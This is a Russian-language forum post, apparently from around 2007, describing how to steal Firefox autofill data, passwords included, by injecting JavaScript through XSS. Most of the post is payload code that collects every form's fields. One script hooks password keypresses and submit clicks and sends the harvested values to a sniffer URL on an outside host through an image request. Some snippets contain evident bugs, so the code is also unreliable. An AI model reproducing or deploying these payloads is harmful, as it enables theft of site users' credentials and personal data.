Тема названа наверное слишком громко и вовсе не отображает реальную суть того, что я хотел до вас довести. Почти год назад тоха поделился информацией о краже данных из форм в фаерфоксе через авто заполнение, я написал пример, реализующий это а потом мы с пинкпантером еще и обменялись скриптами xD Суть в том, что при включенном автозаполнении фаерфокс с помощью обращений к элементам через DOM можно воровать выведенную информацию. Через xss вставляем код что написан ниже, который через 6 секунд -- таймаут пока фф вставит информацию в поля -- соберет все введенные данные в форму и отправит нам на снифер.На английском подробно и неплохо написано тут http://www.heise-online.co.uk/security/Password-stealing-for-dummies--/features/93141 PHP: setTimeout("sniffdata = '';for (i=0;i<document.forms.length;i++){document.forms[i].submit();sniffdata += '&action='+document.forms[i].action;sniffdata += '&method='+document.forms[i].method;for (b=0;b<document.forms[i].elements.length;b++){sniffdata += '&'+document.forms[i].elements.name+'='+document.forms[i].elements.value;}}document.write(sniffdata);",1000); Очень плодотворным вышло наше обсуждение, во время обсуждения я два раза подвесил фаерфокс 2.0.0.5 намертво, после пинкпантер предложил скрипт, устанавливающий hook на input элементы формы и при отсылке их на сервер передает данные нам тоже. PHP: var snifUrl = 'http://underwater.itdefence.ru/sniff/ya.gif'; function hookPassword(event) { event = (!event) ? window.event : event; target = (!event.target) ? event.srcElement : event.target; if (target.nodeType == 3) target = target.parentNode; code = (event.charCode) ? event.charCode : ((event.keyCode)? event.keyCode : ((event.which) ? event.which : 0)); if ( code == 13 ) sniff(); } function sniff() { sniffdata = ''; for ( i = 0 ; i < document.forms.length ; i++ ) { sniffdata += 'action='+document.forms[i].action; sniffdata += '&method='+document.forms[i].method; for ( b = 0 ; b < document.forms[i].elements.length ; b++ ) { sniffdata += '&'+document.forms[i].elements[b].name+'='+document.forms[i].elements[b].value; } sniffdata += '&'; } image = new Image(); image.src = snifUrl+'?'+sniffdata; } function hook() { for ( i = 0 ; i < document.forms.length ; i++ ) { for ( b = 0 ; b < document.forms[i].elements.length ; b++ ) { if (document.forms[i].elements[b].type == 'password' ) document.forms[i].elements[b].setAttribute("onkeypress","javascript:if (event) { hookPassword(event); }"); else if ( document.forms[i].elements[b].type == 'submit' ) document.forms[i].elements[b].setAttribute("onclick","javascript:sniff();"); } } } //<script src='js.js' onload='hook();'>. PHP: <script> for (i=0;i<document.forms.length;i++) { for (b=0;i<document.forms[i].elements.length;b++) document.forms[i].elements; } </script> P.S. Гратзы моим компаньонам +toxa+, pinkpanther и неизвестному мне Jürgen Schmidtу P.P.S. Во время написания поста проверка орфографии, встроенная в Firefox не раз предложила мне заменить "фаерфокс" на "перфокарта" xD